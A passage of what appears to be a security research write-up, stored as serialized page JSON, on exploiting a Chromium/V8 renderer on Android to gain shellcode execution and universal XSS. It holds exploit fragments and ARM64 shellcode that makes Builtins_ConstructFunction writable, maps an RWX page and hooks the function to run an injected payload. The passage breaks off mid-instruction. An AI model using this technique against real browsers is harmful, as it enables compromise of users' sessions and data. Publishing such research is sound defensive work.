138715},{"style":220},[138716],{"type":28,"value":424},{"type":23,"tag":213,"props":138718,"children":138719},{"style":514},[138720],{"type":28,"value":17346},{"type":23,"tag":213,"props":138722,"children":138723},{"style":220},[138724],{"type":28,"value":944},{"type":23,"tag":213,"props":138726,"children":138727},{"class":215,"line":1758},[138728,138733,138737,138742,138746,138751,138755,138760,138764,138769,138773,138778,138782,138787,138791,138795,138799,138803,138807,138811,138815,138819,138823,138827,138831,138836,138840,138845,138849,138853,138857,138861,138865,138869,138873,138877,138881,138885,138889,138894,138898,138903],{"type":23,"tag":213,"props":138729,"children":138730},{"style":514},[138731],{"type":28,"value":138732}," 213",{"type":23,"tag":213,"props":138734,"children":138735},{"style":220},[138736],{"type":28,"value":424},{"type":23,"tag":213,"props":138738,"children":138739},{"style":514},[138740],{"type":28,"value":138741},"231",{"type":23,"tag":213,"props":138743,"children":138744},{"style":220},[138745],{"type":28,"value":424},{"type":23,"tag":213,"props":138747,"children":138748},{"style":514},[138749],{"type":28,"value":138750},"67",{"type":23,"tag":213,"props":138752,"children":138753},{"style":220},[138754],{"type":28,"value":424},{"type":23,"tag":213,"props":138756,"children":138757},{"style":514},[138758],{"type":28,"value":138759},"190",{"type":23,"tag":213,"props":138761,"children":138762},{"style":220},[138763],{"type":28,"value":424},{"type":23,"tag":213,"props":138765,"children":138766},{"style":514},[138767],{"type":28,"value":138768},"169",{"type":23,"tag":213,"props":138770,"children":138771},{"style":220},[138772],{"type":28,"value":424},{"type":23,"tag":213,"props":138774,"children":138775},{"style":514},[138776],{"type":28,"value":138777},"253",{"type":23,"tag":213,"props":138779,"children":138780},{"style":220},[138781],{"type":28,"value":424},{"type":23,"tag":213,"props":138783,"children":138784},{"style":514},[138785],{"type":28,"value":138786},"123",{"type":23,"tag":213,"props":138788,"children":138789},{"style":220},[138790],{"type":28,"value":424},{"type":23,"tag":213,"props":138792,"children":138793},{"style":514},[138794],{"type":28,"value":4106},{"type":23,"tag":213,"props":138796,"children":138797},{"style":220},[138798],{"type":28,"value":424},{"type":23,"tag":213,"props":138800,"children":138801},{"style":514},[138802],{"type":28,"value":138768},{"type":23,"tag":213,"props":138804,"children":138805},{"style":220},[138806],{"type":28,"value":424},{"type":23,"tag":213,"props":138808,"children":138809},{"style":514},[138810],{"type":28,"value":138777},{"type":23,"tag":213,"props":138812,"children":138813},{"style":220},[138814],{"type":28,"value":424},{"type":23,"tag":213,"props":138816,"children":138817},{"style":514},[138818],{"type":28,"value":138750},{"type":23,"tag":213,"props":138820,"children":138821},{"style":220},[138822],{"type":28,"value":424},{"type":23,"tag":213,"props":138824,"children":138825},{"style":514},[138826],{"type":28,"value":4116},{"type":23,"tag":213,"props":138828,"children":138829},{"style":220},[138830],{"type":28,"value":424},{"type":23,"tag":213,"props":138832,"children":138833},{"style":514},[138834],{"type":28,"value":138835},"145",{"type":23,"tag":213,"props":138837,"children":138838},{"style":220},[138839],{"type":28,"value":424},{"type":23,"tag":213,"props":138841,"children":138842},{"style":514},[138843],{"type":28,"value":138844},"191",{"type":23,"tag":213,"props":138846,"children":138847},{"style":220},[138848],{"type":28,"value":424},{"type":23,"tag":213,"props":138850,"children":138851},{"style":514},[138852],{"type":28,"value":17346},{"type":23,"tag":213,"props":138854,"children":138855},{"style":220},[138856],{"type":28,"value":424},{"type":23,"tag":213,"props":138858,"children":138859},{"style":514},[138860],{"type":28,"value":4116},{"type":23,"tag":213,"props":138862,"children":138863},{"style":220},[138864],{"type":28,"value":424},{"type":23,"tag":213,"props":138866,"children":138867},{"style":514},[138868],{"type":28,"value":138835},{"type":23,"tag":213,"props":138870,"children":138871},{"style":220},[138872],{"type":28,"value":424},{"type":23,"tag":213,"props":138874,"children":138875},{"style":514},[138876],{"type":28,"value":138777},{"type":23,"tag":213,"props":138878,"children":138879},{"style":220},[138880],{"type":28,"value":424},{"type":23,"tag":213,"props":138882,"children":138883},{"style":514},[138884],{"type":28,"value":138786},{"type":23,"tag":213,"props":138886,"children":138887},{"style":220},[138888],{"type":28,"value":424},{"type":23,"tag":213,"props":138890,"children":138891},{"style":514},[138892],{"type":28,"value":138893},"193",{"type":23,"tag":213,"props":138895,"children":138896},{"style":220},[138897],{"type":28,"value":424},{"type":23,"tag":213,"props":138899,"children":138900},{"style":514},[138901],{"type":28,"value":138902},"168",{"type":23,"tag":213,"props":138904,"children":138905},{"style":220},[138906],{"type":28,"value":944},{"type":23,"tag":213,"props":138908,"children":138909},{"class":215,"line":1767},[138910,138915,138919,138923,138927,138931,138935,138939,138943,138947,138951,138955,138959,138963,138967,138972,138976,138980,138984,138988,138992,138996,139000,139004,139008,139012,139016,139020,139024,139028,139032,139036,139040,139044,139048,139052,139056,139060,139064,139068,139072,139076,139080,139084,139088,139092,139096,139100,139104,139108,139112,139116,139120,139124],{"type":23,"tag":213,"props":138911,"children":138912},{"style":514},[138913],{"type":28,"value":138914}," 255",{"type":23,"tag":213,"props":138916,"children":138917},{"style":220},[138918],{"type":28,"value":424},{"type":23,"tag":213,"props":138920,"children":138921},{"style":514},[138922],{"type":28,"value":138712},{"type":23,"tag":213,"props":138924,"children":138925},{"style":220},[138926],{"type":28,"value":424},{"type":23,"tag":213,"props":138928,"children":138929},{"style":514},[138930],{"type":28,"value":17346},{"type":23,"tag":213,"props":138932,"children":138933},{"style":220},[138934],{"type":28,"value":424},{"type":23,"tag":213,"props":138936,"children":138937},{"style":514},[138938],{"type":28,"value":138662},{"type":23,"tag":213,"props":138940,"children":138941},{"style":220},[138942],{"type":28,"value":424},{"type":23,"tag":213,"props":138944,"children":138945},{"style":514},[138946],{"type":28,"value":134597},{"type":23,"tag":213,"props":138948,"children":138949},{"style":220},[138950],{"type":28,"value":424},{"type":23,"tag":213,"props":138952,"children":138953},{"style":514},[138954],{"type":28,"value":17346},{"type":23,"tag":213,"props":138956,"children":138957},{"style":220},[138958],{"type":28,"value":424},{"type":23,"tag":213,"props":138960,"children":138961},{"style":514},[138962],{"type":28,"value":138636},{"type":23,"tag":213,"props":138964,"children":138965},{"style":220},[138966],{"type":28,"value":424},{"type":23,"tag":213,"props":138968,"children":138969},{"style":514},[138970],{"type":28,"value":138971},"214",{"type":23,"tag":213,"props":138973,"children":138974},{"style":220},[138975],{"type":28,"value":424},{"type":23,"tag":213,"props":138977,"children":138978},{"style":514},[138979],{"type":28,"value":96720},{"type":23,"tag":213,"props":138981,"children":138982},{"style":220},[138983],{"type":28,"value":424},{"type":23,"tag":213,"props":138985,"children":138986},{"style":514},[138987],{"type":28,"value":60400},{"type":23,"tag":213,"props":138989,"children":138990},{"style":220},[138991],{"type":28,"value":424},{"type":23,"tag":213,"props":138993,"children":138994},{"style":514},[138995],{"type":28,"value":17346},{"type":23,"tag":213,"props":138997,"children":138998},{"style":220},[138999],{"type":28,"value":424},{"type":23,"tag":213,"props":139001,"children":139002},{"style":514},[139003],{"type":28,"value":138662},{"type":23,"tag":213,"props":139005,"children":139006},{"style":220},[139007],{"type":28,"value":424},{"type":23,"tag":213,"props":139009,"children":139010},{"style":514},[139011],{"type":28,"value":17578},{"type":23,"tag":213,"props":139013,"children":139014},{"style":220},[139015],{"type":28,"value":424},{"type":23,"tag":213,"props":139017,"children":139018},{"style":514},[139019],{"type":28,"value":4116},{"type":23,"tag":213,"props":139021,"children":139022},{"style":220},[139023],{"type":28,"value":424},{"type":23,"tag":213,"props":139025,"children":139026},{"style":514},[139027],{"type":28,"value":4116},{"type":23,"tag":213,"props":139029,"children":139030},{"style":220},[139031],{"type":28,"value":424},{"type":23,"tag":213,"props":139033,"children":139034},{"style":514},[139035],{"type":28,"value":4116},{"type":23,"tag":213,"props":139037,"children":139038},{"style":220},[139039],{"type":28,"value":424},{"type":23,"tag":213,"props":139041,"children":139042},{"style":514},[139043],{"type":28,"value":4116},{"type":23,"tag":213,"props":139045,"children":139046},{"style":220},[139047],{"type":28,"value":424},{"type":23,"tag":213,"props":139049,"children":139050},{"style":514},[139051],{"type":28,"value":4116},{"type":23,"tag":213,"props":139053,"children":139054},{"style":220},[139055],{"type":28,"value":424},{"type":23,"tag":213,"props":139057,"children":139058},{"style":514},[139059],{"type":28,"value":4116},{"type":23,"tag":213,"props":139061,"children":139062},{"style":220},[139063],{"type":28,"value":424},{"type":23,"tag":213,"props":139065,"children":139066},{"style":514},[139067],{"type":28,"value":4116},{"type":23,"tag":213,"props":139069,"children":139070},{"style":220},[139071],{"type":28,"value":424},{"type":23,"tag":213,"props":139073,"children":139074},{"style":514},[139075],{"type":28,"value":4116},{"type":23,"tag":213,"props":139077,"children":139078},{"style":220},[139079],{"type":28,"value":424},{"type":23,"tag":213,"props":139081,"children":139082},{"style":514},[139083],{"type":28,"value":17578},{"type":23,"tag":213,"props":139085,"children":139086},{"style":220},[139087],{"type":28,"value":424},{"type":23,"tag":213,"props":139089,"children":139090},{"style":514},[139091],{"type":28,"value":4116},{"type":23,"tag":213,"props":139093,"children":139094},{"style":220},[139095],{"type":28,"value":424},{"type":23,"tag":213,"props":139097,"children":139098},{"style":514},[139099],{"type":28,"value":4116},{"type":23,"tag":213,"props":139101,"children":139102},{"style":220},[139103],{"type":28,"value":424},{"type":23,"tag":213,"props":139105,"children":139106},{"style":514},[139107],{"type":28,"value":4116},{"type":23,"tag":213,"props":139109,"children":139110},{"style":220},[139111],{"type":28,"value":424},{"type":23,"tag":213,"props":139113,"children":139114},{"style":514},[139115],{"type":28,"value":4116},{"type":23,"tag":213,"props":139117,"children":139118},{"style":220},[139119],{"type":28,"value":424},{"type":23,"tag":213,"props":139121,"children":139122},{"style":514},[139123],{"type":28,"value":4116},{"type":23,"tag":213,"props":139125,"children":139126},{"style":220},[139127],{"type":28,"value":944},{"type":23,"tag":213,"props":139129,"children":139130},{"class":215,"line":1789},[139131,139135,139139,139143,139147,139151,139155,139159,139163,139167,139171,139176,139180,139185,139189,139194,139198,139202],{"type":23,"tag":213,"props":139132,"children":139133},{"style":514},[139134],{"type":28,"value":134249},{"type":23,"tag":213,"props":139136,"children":139137},{"style":220},[139138],{"type":28,"value":424},{"type":23,"tag":213,"props":139140,"children":139141},{"style":514},[139142],{"type":28,"value":4116},{"type":23,"tag":213,"props":139144,"children":139145},{"style":220},[139146],{"type":28,"value":424},{"type":23,"tag":213,"props":139148,"children":139149},{"style":514},[139150],{"type":28,"value":4116},{"type":23,"tag":213,"props":139152,"children":139153},{"style":220},[139154],{"type":28,"value":424},{"type":23,"tag":213,"props":139156,"children":139157},{"style":514},[139158],{"type":28,"value":4116},{"type":23,"tag":213,"props":139160,"children":139161},{"style":220},[139162],{"type":28,"value":424},{"type":23,"tag":213,"props":139164,"children":139165},{"style":514},[139166],{"type":28,"value":4116},{"type":23,"tag":213,"props":139168,"children":139169},{"style":220},[139170],{"type":28,"value":424},{"type":23,"tag":213,"props":139172,"children":139173},{"style":514},[139174],{"type":28,"value":139175},"92",{"type":23,"tag":213,"props":139177,"children":139178},{"style":220},[139179],{"type":28,"value":424},{"type":23,"tag":213,"props":139181,"children":139182},{"style":514},[139183],{"type":28,"value":139184},"50",{"type":23,"tag":213,"props":139186,"children":139187},{"style":220},[139188],{"type":28,"value":424},{"type":23,"tag":213,"props":139190,"children":139191},{"style":514},[139192],{"type":28,"value":139193},"162",{"type":23,"tag":213,"props":139195,"children":139196},{"style":220},[139197],{"type":28,"value":424},{"type":23,"tag":213,"props":139199,"children":139200},{"style":514},[139201],{"type":28,"value":4116},{"type":23,"tag":213,"props":139203,"children":139204},{"style":220},[139205],{"type":28,"value":944},{"type":23,"tag":213,"props":139207,"children":139208},{"class":215,"line":1812},[139209],{"type":23,"tag":213,"props":139210,"children":139211},{"style":220},[139212],{"type":28,"value":134536},{"type":23,"tag":213,"props":139214,"children":139215},{"class":215,"line":1838},[139216,139220,139224,139228,139232,139236,139240,139244,139248,139252,139256],{"type":23,"tag":213,"props":139217,"children":139218},{"style":230},[139219],{"type":28,"value":7943},{"type":23,"tag":213,"props":139221,"children":139222},{"style":268},[139223],{"type":28,"value":135989},{"type":23,"tag":213,"props":139225,"children":139226},{"style":274},[139227],{"type":28,"value":511},{"type":23,"tag":213,"props":139229,"children":139230},{"style":257},[139231],{"type":28,"value":135998},{"type":23,"tag":213,"props":139233,"children":139234},{"style":220},[139235],{"type":28,"value":265},{"type":23,"tag":213,"props":139237,"children":139238},{"style":268},[139239],{"type":28,"value":133867},{"type":23,"tag":213,"props":139241,"children":139242},{"style":220},[139243],{"type":28,"value":424},{"type":23,"tag":213,"props":139245,"children":139246},{"style":268},[139247],{"type":28,"value":125195},{"type":23,"tag":213,"props":139249,"children":139250},{"style":220},[139251],{"type":28,"value":124},{"type":23,"tag":213,"props":139253,"children":139254},{"style":268},[139255],{"type":28,"value":125195},{"type":23,"tag":213,"props":139257,"children":139258},{"style":220},[139259],{"type":28,"value":2867},{"type":23,"tag":213,"props":139261,"children":139262},{"class":215,"line":1851},[139263,139267,139271,139275,139279,139283,139287,139291,139295,139299],{"type":23,"tag":213,"props":139264,"children":139265},{"style":268},[139266],{"type":28,"value":136034},{"type":23,"tag":213,"props":139268,"children":139269},{"style":274},[139270],{"type":28,"value":511},{"type":23,"tag":213,"props":139272,"children":139273},{"style":220},[139274],{"type":28,"value":400},{"type":23,"tag":213,"props":139276,"children":139277},{"style":1362},[139278],{"type":28,"value":32972},{"type":23,"tag":213,"props":139280,"children":139281},{"style":268},[139282],{"type":28,"value":135989},{"type":23,"tag":213,"props":139284,"children":139285},{"style":220},[139286],{"type":28,"value":124},{"type":23,"tag":213,"props":139288,"children":139289},{"style":257},[139290],{"type":28,"value":57618},{"type":23,"tag":213,"props":139292,"children":139293},{"style":220},[139294],{"type":28,"value":136063},{"type":23,"tag":213,"props":139296,"children":139297},{"style":268},[139298],{"type":28,"value":39209},{"type":23,"tag":213,"props":139300,"children":139301},{"style":220},[139302],{"type":28,"value":313},{"type":23,"tag":213,"props":139304,"children":139305},{"class":215,"line":1864},[139306,139310,139314,139318,139322,139327,139331,139335],{"type":23,"tag":213,"props":139307,"children":139308},{"style":268},[139309],{"type":28,"value":101997},{"type":23,"tag":213,"props":139311,"children":139312},{"style":220},[139313],{"type":28,"value":124},{"type":23,"tag":213,"props":139315,"children":139316},{"style":257},[139317],{"type":28,"value":102006},{"type":23,"tag":213,"props":139319,"children":139320},{"style":220},[139321],{"type":28,"value":265},{"type":23,"tag":213,"props":139323,"children":139324},{"style":246},[139325],{"type":28,"value":139326},"'DeserializeWasmModule result: '",{"type":23,"tag":213,"props":139328,"children":139329},{"style":274},[139330],{"type":28,"value":8989},{"type":23,"tag":213,"props":139332,"children":139333},{"style":268},[139334],{"type":28,"value":9246},{"type":23,"tag":213,"props":139336,"children":139337},{"style":220},[139338],{"type":28,"value":2867},{"type":23,"tag":213,"props":139340,"children":139341},{"class":215,"line":1890},[139342,139346,139350,139354,139358,139362,139366,139370,139374,139378],{"type":23,"tag":213,"props":139343,"children":139344},{"style":230},[139345],{"type":28,"value":36246},{"type":23,"tag":213,"props":139347,"children":139348},{"style":268},[139349],{"type":28,"value":136083},{"type":23,"tag":213,"props":139351,"children":139352},{"style":274},[139353],{"type":28,"value":511},{"type":23,"tag":213,"props":139355,"children":139356},{"style":230},[139357],{"type":28,"value":31989},{"type":23,"tag":213,"props":139359,"children":139360},{"style":268},[139361],{"type":28,"value":133850},{"type":23,"tag":213,"props":139363,"children":139364},{"style":220},[139365],{"type":28,"value":124},{"type":23,"tag":213,"props":139367,"children":139368},{"style":257},[139369],{"type":28,"value":133904},{"type":23,"tag":213,"props":139371,"children":139372},{"style":220},[139373],{"type":28,"value":265},{"type":23,"tag":213,"props":139375,"children":139376},{"style":268},[139377],{"type":28,"value":9168},{"type":23,"tag":213,"props":139379,"children":139380},{"style":220},[139381],{"type":28,"value":2867},{"type":23,"tag":213,"props":139383,"children":139384},{"class":215,"line":1899},[139385,139389,139393,139397,139401,139405,139409,139413,139417],{"type":23,"tag":213,"props":139386,"children":139387},{"style":230},[139388],{"type":28,"value":36246},{"type":23,"tag":213,"props":139390,"children":139391},{"style":268},[139392],{"type":28,"value":33027},{"type":23,"tag":213,"props":139394,"children":139395},{"style":274},[139396],{"type":28,"value":511},{"type":23,"tag":213,"props":139398,"children":139399},{"style":268},[139400],{"type":28,"value":136083},{"type":23,"tag":213,"props":139402,"children":139403},{"style":220},[139404],{"type":28,"value":124},{"type":23,"tag":213,"props":139406,"children":139407},{"style":268},[139408],{"type":28,"value":37944},{"type":23,"tag":213,"props":139410,"children":139411},{"style":220},[139412],{"type":28,"value":124},{"type":23,"tag":213,"props":139414,"children":139415},{"style":268},[139416],{"type":28,"value":133953},{"type":23,"tag":213,"props":139418,"children":139419},{"style":220},[139420],{"type":28,"value":313},{"type":23,"tag":213,"props":139422,"children":139423},{"class":215,"line":1912},[139424,139428,139432,139436,139440,139444],{"type":23,"tag":213,"props":139425,"children":139426},{"style":268},[139427],{"type":28,"value":101997},{"type":23,"tag":213,"props":139429,"children":139430},{"style":220},[139431],{"type":28,"value":124},{"type":23,"tag":213,"props":139433,"children":139434},{"style":257},[139435],{"type":28,"value":102006},{"type":23,"tag":213,"props":139437,"children":139438},{"style":220},[139439],{"type":28,"value":265},{"type":23,"tag":213,"props":139441,"children":139442},{"style":268},[139443],{"type":28,"value":33141},{"type":23,"tag":213,"props":139445,"children":139446},{"style":220},[139447],{"type":28,"value":2867},{"type":23,"tag":213,"props":139449,"children":139450},{"class":215,"line":1921},[139451],{"type":23,"tag":213,"props":139452,"children":139453},{"style":220},[139454],{"type":28,"value":102038},{"type":23,"tag":24,"props":139456,"children":139457},{},[139458],{"type":28,"value":139459},"And this time, it works as expected:",{"type":23,"tag":24,"props":139461,"children":139462},{},[139463],{"type":23,"tag":4009,"props":139464,"children":139467},{"alt":139465,"src":139466},"image3","/posts/mobile-renderer-rce/image3.png",[],{"type":23,"tag":9693,"props":139469,"children":139471},{"id":139470},"achieving-universal-xss",[139472],{"type":28,"value":139473},"Achieving Universal XSS",{"type":23,"tag":24,"props":139475,"children":139476},{},[139477,139479,139485,139487,139494],{"type":28,"value":139478},"At this point, we have arbitrary shellcode execution in the renderer process. While usually the exploit stops here and further access would require a browser sandbox escape, we decided to explore an alternative route known as UXSS, inspired by this ",{"type":23,"tag":36,"props":139480,"children":139483},{"href":139481,"rel":139482},"https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf",[40],[139484],{"type":28,"value":70384},{"type":28,"value":139486}," from Tencent Security and ",{"type":23,"tag":36,"props":139488,"children":139491},{"href":139489,"rel":139490},"https://www.interruptlabs.co.uk/articles/one-click-memory-corruption-in-alibabas-uc-browser-exploiting-patch-gap-v8-vulnerabilities-to-steal-your-data",[40],[139492],{"type":28,"value":139493},"research article",{"type":28,"value":139495}," from InterruptLabs.",{"type":23,"tag":24,"props":139497,"children":139498},{},[139499,139501,139508],{"type":28,"value":139500},"Unlike a normal XSS, a UXSS, or universal XSS, is a client side browser exploit that enables arbitrary JavaScript injection in all pages of a website. Normally, site isolation on desktop Chromium prevents this, as each site ends up in a different renderer process, but Android specifically has a ",{"type":23,"tag":36,"props":139502,"children":139505},{"href":139503,"rel":139504},"https://www.chromium.org/Home/chromium-security/site-isolation/#android",[40],[139506],{"type":28,"value":139507},"weaker version",{"type":28,"value":139509}," of this mitigation - only sites with logins and COOP headers are per process isolated. This means that the majority of webpages are in the same renderer process, so any patches to the interpreter will affect them all and lead to UXSS. This is still quite the capability!",{"type":23,"tag":24,"props":139511,"children":139512},{},[139513,139515,139521],{"type":28,"value":139514},"To achieve UXSS, we need to patch a function that’s invoked during site loading so we can run our XSS payload. During debugging, we observed that every site we visited eventually called ",{"type":23,"tag":209,"props":139516,"children":139518},{"className":139517},[],[139519],{"type":28,"value":139520},"Builtins_ConstructFunction",{"type":28,"value":139522},", making it a natural target.",{"type":23,"tag":24,"props":139524,"children":139525},{},[139526,139528,139533],{"type":28,"value":139527},"Our goal is for ",{"type":23,"tag":209,"props":139529,"children":139531},{"className":139530},[],[139532],{"type":28,"value":139520},{"type":28,"value":139534}," to execute our XSS payload first, then continue its normal behavior. To do this, we hook it as follows:",{"type":23,"tag":168,"props":139536,"children":139537},{},[139538,139543,139553],{"type":23,"tag":135,"props":139539,"children":139540},{},[139541],{"type":28,"value":139542},"The exploit’s shellcode patches the first few instructions to redirect execution to our mmap-ed shellcode, which runs the XSS payload",{"type":23,"tag":135,"props":139544,"children":139545},{},[139546,139548],{"type":28,"value":139547},"After finishing, the mmap-ed shellcode restores the original instructions in ",{"type":23,"tag":209,"props":139549,"children":139551},{"className":139550},[],[139552],{"type":28,"value":139520},{"type":23,"tag":135,"props":139554,"children":139555},{},[139556,139558,139563],{"type":28,"value":139557},"The mmap-ed shellcode then returns to the beginning of ",{"type":23,"tag":209,"props":139559,"children":139561},{"className":139560},[],[139562],{"type":28,"value":139520},{"type":28,"value":139564},", which now proceeds normally",{"type":23,"tag":24,"props":139566,"children":139567},{},[139568],{"type":28,"value":139569},"The ARM64 shellcode implementing this looks as follows:",{"type":23,"tag":202,"props":139571,"children":139575},{"code":139572,"language":139573,"meta":7,"className":139574,"style":7},"// get return addr to x0\nldr x0, [sp, #0x18]\n// strip pac signature from return address\n.arch armv8.3-a; xpaci x0\n\n// store x5 = Builtins_ConstructFunction\nmovz x1, #0x610c\nsub x0, x0, x1\nmov x5, x0\n\n// store x4 = page aligned ConstructFunction\nmovz x1, #0xf000\nmovk x1, #0xffff, lsl #16\nmovk x1, #0xffff, lsl #32\nand x4, x5, x1\n\n// mprotect page aligned ConstructFunction RWX\nmov x0, x4\nmov x1, #0x2000\nmov x2, #0x7\nmov x8, #226\nsvc #0\n\nmov x6, x5\n\n// mmap RWX for jump dest (uxss_sc)\nmov x0, #0\nmov x1, #0x1000\nmov x2, #0x7\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\nmov x5, x0\n\n// at this point:\n// x6 = Builtins_ConstructFunction\n// x5 = mmap page for uxss_sc\n\n// write uxss_sc to mmaped rwx page\n{write_sc(uxss_sc, \"x5\")}\n\n// wipe from cache\nmov x0, x5\n{WIPE_CACHE}\n\n// patch Builtins_ConstructFunction\n{write_sc(new_compile_instrs, \"x6\")}\n// and add a pointer to uxss_sc just above new instructions\nstr x5, [x6, #{5 * INSTR_SIZE}]\n\n// wipe from cache\nmov x0, x6\n{WIPE_CACHE}\n","asm","language-asm shiki shiki-themes slack-dark",[139576],{"type":23,"tag":209,"props":139577,"children":139578},{"__ignoreMap":7},[139579,139587,139595,139603,139611,139618,139626,139634,139642,139650,139657,139665,139673,139681,139689,139697,139704,139712,139720,139728,139736,139744,139752,139759,139767,139774,139782,139790,139798,139805,139813,139821,139829,139837,139844,139851,139858,139865,139873,139881,139889,139896,139904,139912,139919,139927,139935,139943,139950,139958,139966,139974,139982,139989,139996,140004],{"type":23,"tag":213,"props":139580,"children":139581},{"class":215,"line":216},[139582],{"type":23,"tag":213,"props":139583,"children":139584},{},[139585],{"type":28,"value":139586},"// get return addr to x0\n",{"type":23,"tag":213,"props":139588,"children":139589},{"class":215,"line":226},[139590],{"type":23,"tag":213,"props":139591,"children":139592},{},[139593],{"type":28,"value":139594},"ldr x0, [sp, #0x18]\n",{"type":23,"tag":213,"props":139596,"children":139597},{"class":215,"line":524},[139598],{"type":23,"tag":213,"props":139599,"children":139600},{},[139601],{"type":28,"value":139602},"// strip pac signature from return address\n",{"type":23,"tag":213,"props":139604,"children":139605},{"class":215,"line":533},[139606],{"type":23,"tag":213,"props":139607,"children":139608},{},[139609],{"type":28,"value":139610},".arch armv8.3-a; xpaci x0\n",{"type":23,"tag":213,"props":139612,"children":139613},{"class":215,"line":543},[139614],{"type":23,"tag":213,"props":139615,"children":139616},{"emptyLinePlaceholder":18},[139617],{"type":28,"value":530},{"type":23,"tag":213,"props":139619,"children":139620},{"class":215,"line":551},[139621],{"type":23,"tag":213,"props":139622,"children":139623},{},[139624],{"type":28,"value":139625},"// store x5 = Builtins_ConstructFunction\n",{"type":23,"tag":213,"props":139627,"children":139628},{"class":215,"line":570},[139629],{"type":23,"tag":213,"props":139630,"children":139631},{},[139632],{"type":28,"value":139633},"movz x1, #0x610c\n",{"type":23,"tag":213,"props":139635,"children":139636},{"class":215,"line":655},[139637],{"type":23,"tag":213,"props":139638,"children":139639},{},[139640],{"type":28,"value":139641},"sub x0, x0, x1\n",{"type":23,"tag":213,"props":139643,"children":139644},{"class":215,"line":1176},[139645],{"type":23,"tag":213,"props":139646,"children":139647},{},[139648],{"type":28,"value":139649},"mov x5, x0\n",{"type":23,"tag":213,"props":139651,"children":139652},{"class":215,"line":1202},[139653],{"type":23,"tag":213,"props":139654,"children":139655},{"emptyLinePlaceholder":18},[139656],{"type":28,"value":530},{"type":23,"tag":213,"props":139658,"children":139659},{"class":215,"line":1758},[139660],{"type":23,"tag":213,"props":139661,"children":139662},{},[139663],{"type":28,"value":139664},"// store x4 = page aligned ConstructFunction\n",{"type":23,"tag":213,"props":139666,"children":139667},{"class":215,"line":1767},[139668],{"type":23,"tag":213,"props":139669,"children":139670},{},[139671],{"type":28,"value":139672},"movz x1, #0xf000\n",{"type":23,"tag":213,"props":139674,"children":139675},{"class":215,"line":1789},[139676],{"type":23,"tag":213,"props":139677,"children":139678},{},[139679],{"type":28,"value":139680},"movk x1, #0xffff, lsl #16\n",{"type":23,"tag":213,"props":139682,"children":139683},{"class":215,"line":1812},[139684],{"type":23,"tag":213,"props":139685,"children":139686},{},[139687],{"type":28,"value":139688},"movk x1, #0xffff, lsl #32\n",{"type":23,"tag":213,"props":139690,"children":139691},{"class":215,"line":1838},[139692],{"type":23,"tag":213,"props":139693,"children":139694},{},[139695],{"type":28,"value":139696},"and x4, x5, x1\n",{"type":23,"tag":213,"props":139698,"children":139699},{"class":215,"line":1851},[139700],{"type":23,"tag":213,"props":139701,"children":139702},{"emptyLinePlaceholder":18},[139703],{"type":28,"value":530},{"type":23,"tag":213,"props":139705,"children":139706},{"class":215,"line":1864},[139707],{"type":23,"tag":213,"props":139708,"children":139709},{},[139710],{"type":28,"value":139711},"// mprotect page aligned ConstructFunction RWX\n",{"type":23,"tag":213,"props":139713,"children":139714},{"class":215,"line":1890},[139715],{"type":23,"tag":213,"props":139716,"children":139717},{},[139718],{"type":28,"value":139719},"mov x0, x4\n",{"type":23,"tag":213,"props":139721,"children":139722},{"class":215,"line":1899},[139723],{"type":23,"tag":213,"props":139724,"children":139725},{},[139726],{"type":28,"value":139727},"mov x1, #0x2000\n",{"type":23,"tag":213,"props":139729,"children":139730},{"class":215,"line":1912},[139731],{"type":23,"tag":213,"props":139732,"children":139733},{},[139734],{"type":28,"value":139735},"mov x2, #0x7\n",{"type":23,"tag":213,"props":139737,"children":139738},{"class":215,"line":1921},[139739],{"type":23,"tag":213,"props":139740,"children":139741},{},[139742],{"type":28,"value":139743},"mov x8, #226\n",{"type":23,"tag":213,"props":139745,"children":139746},{"class":215,"line":3879},[139747],{"type":23,"tag":213,"props":139748,"children":139749},{},[139750],{"type":28,"value":139751},"svc #0\n",{"type":23,"tag":213,"props":139753,"children":139754},{"class":215,"line":3887},[139755],{"type":23,"tag":213,"props":139756,"children":139757},{"emptyLinePlaceholder":18},[139758],{"type":28,"value":530},{"type":23,"tag":213,"props":139760,"children":139761},{"class":215,"line":3918},[139762],{"type":23,"tag":213,"props":139763,"children":139764},{},[139765],{"type":28,"value":139766},"mov x6, x5\n",{"type":23,"tag":213,"props":139768,"children":139769},{"class":215,"line":3926},[139770],{"type":23,"tag":213,"props":139771,"children":139772},{"emptyLinePlaceholder":18},[139773],{"type":28,"value":530},{"type":23,"tag":213,"props":139775,"children":139776},{"class":215,"line":3986},[139777],{"type":23,"tag":213,"props":139778,"children":139779},{},[139780],{"type":28,"value":139781},"// mmap RWX for jump dest (uxss_sc)\n",{"type":23,"tag":213,"props":139783,"children":139784},{"class":215,"line":9132},[139785],{"type":23,"tag":213,"props":139786,"children":139787},{},[139788],{"type":28,"value":139789},"mov x0, #0\n",{"type":23,"tag":213,"props":139791,"children":139792},{"class":215,"line":9150},[139793],{"type":23,"tag":213,"props":139794,"children":139795},{},[139796],{"type":28,"value":139797},"mov x1, #0x1000\n",{"type":23,"tag":213,"props":139799,"children":139800},{"class":215,"line":9195},[139801],{"type":23,"tag":213,"props":139802,"children":139803},{},[139804],{"type":28,"value":139735},{"type":23,"tag":213,"props":139806,"children":139807},{"class":215,"line":9301},[139808],{"type":23,"tag":213,"props":139809,"children":139810},{},[139811],{"type":28,"value":139812},"mov x3, #34\n",{"type":23,"tag":213,"props":139814,"children":139815},{"class":215,"line":23557},[139816],{"type":23,"tag":213,"props":139817,"children":139818},{},[139819],{"type":28,"value":139820},"mov x4, #-1\n",{"type":23,"tag":213,"props":139822,"children":139823},{"class":215,"line":23592},[139824],{"type":23,"tag":213,"props":139825,"children":139826},{},[139827],{"type":28,"value":139828},"mov x5, #0\n",{"type":23,"tag":213,"props":139830,"children":139831},{"class":215,"line":23600},[139832],{"type":23,"tag":213,"props":139833,"children":139834},{},[139835],{"type":28,"value":139836},"mov x8, 